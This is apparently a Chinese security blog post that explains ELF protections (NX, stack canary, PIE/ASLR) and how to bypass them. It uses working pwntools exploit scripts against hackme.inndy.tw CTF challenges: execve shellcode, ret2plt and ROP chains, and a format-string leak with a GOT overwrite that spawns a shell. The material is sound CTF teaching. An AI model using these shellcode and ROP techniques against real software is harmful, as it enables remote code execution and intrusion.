专栏首页湛卢工作室ELF文件保护机制解读及绕过

ELF文件保护机制解读及绕过

ELF文件保护机制解读及绕过

查看ELF文件保护机制,通过工具checksec(https://github.com/slimm609/checksec.sh)

1root@ubuntu:~checksec echo2 
2[*] '/root/echo2'
3    Arch:     amd64-64-little
4    RELRO:    Partial RELRO
5    Stack:    No canary found
6    NX:       NX enabled
7    PIE:      PIE enabled

函数调用惯例示意图:

1esp -> |deadbeef|
2       |........|      <- 可控
3ebp -> |deadffff|
4ret -> |&main237|
5p3  -> |00000001|
6p2  -> |00000001|
7p1  -> |bffff608|
8p0  -> |00000002|

无防护攻击

通过输入超长内容,找出buff长度,通过溢出覆盖ret内容到现在的esp地址,构造payload:

1payload1 = shellcode + (len_buf-len(shellcode)) * "A" + p32(ret_address)
2payload2 = len_buf * "A" + p32(jump_esp) + shellcode

比如scoreboard上的toooomuch:

 1#!/usr/bin/python env
 2
 3from pwn import * 
 4
 5pro_process = remote('hackme.inndy.tw',7702)
 6
 7shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
 8shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
 9shellcode += "\x0b\xcd\x80"
10
11integrate_shellcode = 'A' * 28 + p32(0xb7e1caa9) + shellcode
12
13pro_process.sendafter('Give me your passcode: ',integrate_shellcode)
14pro_process.interactive()

调用可以写入的函数,写入/bin/sh到.bss,通过ROPgadget(https://github.com/JonathanSalwan/ROPgadget)查找pop ret,构造payload,toooomuch的另一种解法:

 1#!/usr/bin/python env
 2from pwn import *
 3
 4elf_file = ELF('./toooomuch')
 5bin_sh_code = '/bin/sh\0'
 6
 7exec_system = elf_file.plt['system']
 8print "function system plt address is: %x" % exec_system 
 9gets_addr = elf_file.symbols['gets']
10print "funcion gets symbols address is %x:" % gets_addr 
11bss_addr = elf_file.bss()
12print "bss segement address is %x:" % bss_addr
13
14length_pattern = 28
15pro_process = remote('hackme.inndy.tw', 7702)
16
17popret_addr = 0x8048455
18integrate_shellcode = 'K' * length_pattern + p32(gets_addr) + p32(popret_addr) + p32(bss_addr) + p32(exec_system) + p32(bss_addr) + p32(bss_addr) 
19pro_process.sendafter('Give me your passcode: ',integrate_shellcode)
20pro_process.sendline(bin_sh_code)
21pro_process.interactive()

栈不可执行

NX: NX enabled 栈不可执行时,则不可直接将shellcode写入栈 可通过上述的toooomuch例子,将/bin/sh写入.bss,然后调用system函数

首先,file命令查看文件属性:

1rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=e9ed96cd1a8ea3af86b7b73048c909236d570d9e, not stripped

非动态链接程序文件可直接通过ROPgadget生成ropchain,并溢出到栈上,比如scoreboard上面的rop题

 1#!/usr/bin/env python2
 2# execve generated by ROPgadget
 3from pwn import *
 4from struct import pack
 5# Padding goes here
 6
 7p = 'A' * 16
 8p += pack('<I', 0x0806ecda) # pop edx ; ret
 9p += pack('<I', 0x080ea060) # @ .data
10p += pack('<I', 0x080b8016) # pop eax ; ret
11p += '/bin'
12p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
13p += pack('<I', 0x0806ecda) # pop edx ; ret
14p += pack('<I', 0x080ea064) # @ .data + 4
15p += pack('<I', 0x080b8016) # pop eax ; ret
16p += '//sh'
17p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
18p += pack('<I', 0x0806ecda) # pop edx ; ret
19p += pack('<I', 0x080ea068) # @ .data + 8
20p += pack('<I', 0x080492d3) # xor eax, eax ; ret
21p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
22p += pack('<I', 0x080481c9) # pop ebx ; ret
23p += pack('<I', 0x080ea060) # @ .data
24p += pack('<I', 0x080de769) # pop ecx ; ret
25p += pack('<I', 0x080ea068) # @ .data + 8
26p += pack('<I', 0x0806ecda) # pop edx ; ret
27p += pack('<I', 0x080ea068) # @ .data + 8
28p += pack('<I', 0x080492d3) # xor eax, eax ; ret
29p += pack('<I', 0x0807a66f) # inc eax ; ret
30p += pack('<I', 0x0807a66f) # inc eax ; ret
31p += pack('<I', 0x0807a66f) # inc eax ; ret
32p += pack('<I', 0x0807a66f) # inc eax ; ret
33p += pack('<I', 0x0807a66f) # inc eax ; ret
34p += pack('<I', 0x0807a66f) # inc eax ; ret
35p += pack('<I', 0x0807a66f) # inc eax ; ret
36p += pack('<I', 0x0807a66f) # inc eax ; ret
37p += pack('<I', 0x0807a66f) # inc eax ; ret
38p += pack('<I', 0x0807a66f) # inc eax ; ret
39p += pack('<I', 0x0807a66f) # inc eax ; ret
40p += pack('<I', 0x0806c943) # int 0x80
41
42pro_process = remote('hackme.inndy.tw',7704)
43pro_process.send(p)
44pro_process.interactive()

金丝雀

金丝雀是指,在函数返回之前,会检查栈上特定位置的内容,如果和放入时的不同,则说明栈的数据被异常修改,在有金丝雀的情况下,不可直接溢出,需要通过数组或格式化字符串等指定位置修改,通过修改返回地址、GOT表等内容达到溢出

通过数组溢出,修改指定位置,如scoreboard中的homework:

 1#!/usr/bin/python env
 2
 3from pwn import *
 4import time
 5
 6pro_process = process('./homework')
 7print pro_process.recvline(keepends=True)
 8pro_process.sendafter('What\'s your name? ', '1')
 9#print 'Input name success'
10print pro_process.recvline(4)
11pro_process.send('1')
12print 'Choose edit success'
13time.sleep(5)
14pro_process.send('14')
15print 'Choose edit number success'
16time.sleep(5)
17pro_process.send('134514171')
18print 'Rewrite return address success'
19pro_process.readline()
20pro_process.send('0')
21print 'exit success\\n waiting for interactive...'
22pro_process.interactive()

但是金丝雀防护的开销较大,每个函数都要增加五条汇编指令

地址随机化

可通过格式化字符串漏洞,泄漏栈上的内容,如__libc_start_main_ret地址,通过libc-database确定libc版本,查找libc中的Magic地址,修改某个后续会调用的函数的GOT表,getshell

比如scoreboard中的echo2

 1#!/usr/bin/python env
 2from pwn import *
 3from libnum import *
 4from sys import *
 5elf_file = ELF('./echo2')
 6pro_process = process('./echo2') if argv[1]=="1" else remote('hackme.inndy.tw', 7712)
 7static_exit_got = elf_file.got['exit']
 8static_system_got = elf_file.got['system']
 9# Leak  
10def standLeak():
11    payload = "%47$p\n"
12    pro_process.send(payload)
13    main_start = pro_process.recvline()
14    base_oppo = eval(main_start) & 0xfffffffff000
15    print "base_oppo => " + hex(base_oppo)
16    return base_oppo
17
18# choose: 0 => local,libc2.7    1 => remote libc2.3
19def libcLeak(choose):
20    oppo_addr = 0x21b97 if choose=="1" else 0x20830 
21    payload = "%43$p\n"
22    pro_process.send(payload)
23    start_ret = pro_process.recvline()
24    libc_oppo = eval(start_ret) - oppo_addr
25    print "libc_oppo => " + hex(libc_oppo)
26    return libc_oppo
27
28#write content
29def writeAddr(content,addr):
30    if content:
31        temp_content = content & 0xffff
32        payload = "%" + str(temp_content).zfill(5) + "x%8$hnAAAA" + p64(addr) + "\n"
33        print "Write paylaod is: " + payload[1:-1]
34        wating = raw_input("wait to continue...")
35        pro_process.send(payload)
36        pro_process.recv()
37        #pro_process.send('\n')
38        #pro_process.recv()
39        #wating = raw_input("wait to continue...")
40        print "Write " + hex(temp_content) + " => " + hex(addr)
41        content = content >> 16
42        addr = addr + 2
43        writeAddr(content, addr)
44    else:
45        print "Nothing to write anymore."
46
47
48
49libc23_magic = 0xf0897
50libc27_magic = 0x4f322
51libc_magic = libc27_magic if argv[1]=="1" else libc23_magic
52print "libc_magic => " + hex(libc_magic)
53Base_oppo = standLeak()
54Libc_oppo = libcLeak(argv[1])
55Real_magic = Libc_oppo + libc_magic 
56Writeaddr = Base_oppo + static_system_got 
57print "Real_magic => " + hex(Real_magic)
58print "Writeaddr => " + hex(Writeaddr)
59writeAddr(Real_magic, Writeaddr)
60Wating = raw_input("Wait to check...")
61pro_process.send('exit\n')
62#pro_process.recv()
63pro_process.interactive()

Tips

格式化字符串漏洞,是由于printf函数的参数数目并不固定,在直接使用printf(input)时,如果input为%x,则会按照函数的调用惯例获取参数;通过%s参数,结合栈上其他可控的位置,可对任意位置内容进行读取;通过%n,将前面输出内容的长度写入对应地址,可对任意地址内容进行改写。

本文分享自微信公众号 - 湛卢工作室(xuehao_studio),作者:周超

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-11-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 劳动节 | 说说代理池

    近期由于工作中的遇到的问题,在研究代理池,其实代理池应该说已经是比较成熟的技术,而且在飞速发展,比如现在主流的“秒拨”技术,给企业在风险IP识别和判定上带来极大...

    tinyfisher
  • CTF杂谈之PHP魔法与CBC加密

    PHP语言的开发者在几乎所有内置函数以及基本结构中使用了很多松散的比较和转换,防止程序中的变量因为程序员的不规范而频繁的报错,然而这却带来了安全问题。也正是因为...

    tinyfisher
  • 免root将手机(Android&IOS)改造成移动渗透神器

    渗透测试人员都习惯一台笔记本走天下,但有的时候笔记本还是太大,一些地方用笔记本做渗透测试还是太招摇,而且有的时候也不会随身都带笔记本。这时如果可以利用随身携带的...

    tinyfisher
  • 操作系统学习笔记-1:基础概念

    在纸带与 CPU 之间增加一个外围机,这个外围机协助将数据读入磁带,而磁带能够快速地将数据输入到内存中进行处理。

    Chor
  • Qt信号与槽使用方法最完整总结

    在图形界面编程中(参考《C++最好的图形库是什么?》),组件之间如何实现通信是核心的技术内容。Qt 使用了信号与槽的机制,非常的高效、简单、易学,方便开发者的使...

    Coding十日谈
  • python flask web开发实战 flask-moment时间日期

    用户5760343
  • 织云Lite V1.5|如何规范管理运维对象

    小明所在公司业务发展迅速,设备数量从十多台增加到几十上百台,业务架构也从原先简单的前端、后台,发展出十几个逻辑分支。

    织云平台团队
  • Swift进阶六——函数和闭包

    形式参数,指的是是在函数的定义中,系统并没有为其分配内存空间、但是在函数里面可以使用的参数。比如下面的a就是形式参数:

    拉维
  • 巧妙利用Endnote在论文中插入图片

    大家都知道,Endnote可以插入参考文献,对参考文献进行有序排列。无论你是怎么样的顺序插入的,Endnote都会以某一特定的顺序对其进行排序,方便文章的投稿,...

    百味科研芝士
  • 什么是LWDM细波分复用技术?

    WDM承载方案有粗波分复用(CWDM)、密集波分复用(DWDM)以及中等波分复用(MWDM)、细波分复用(LWDM)。MWDM是重用了CWDM的前6波,将波长间...

    亿源通科技HYC

扫码关注云+社区

领取腾讯云代金券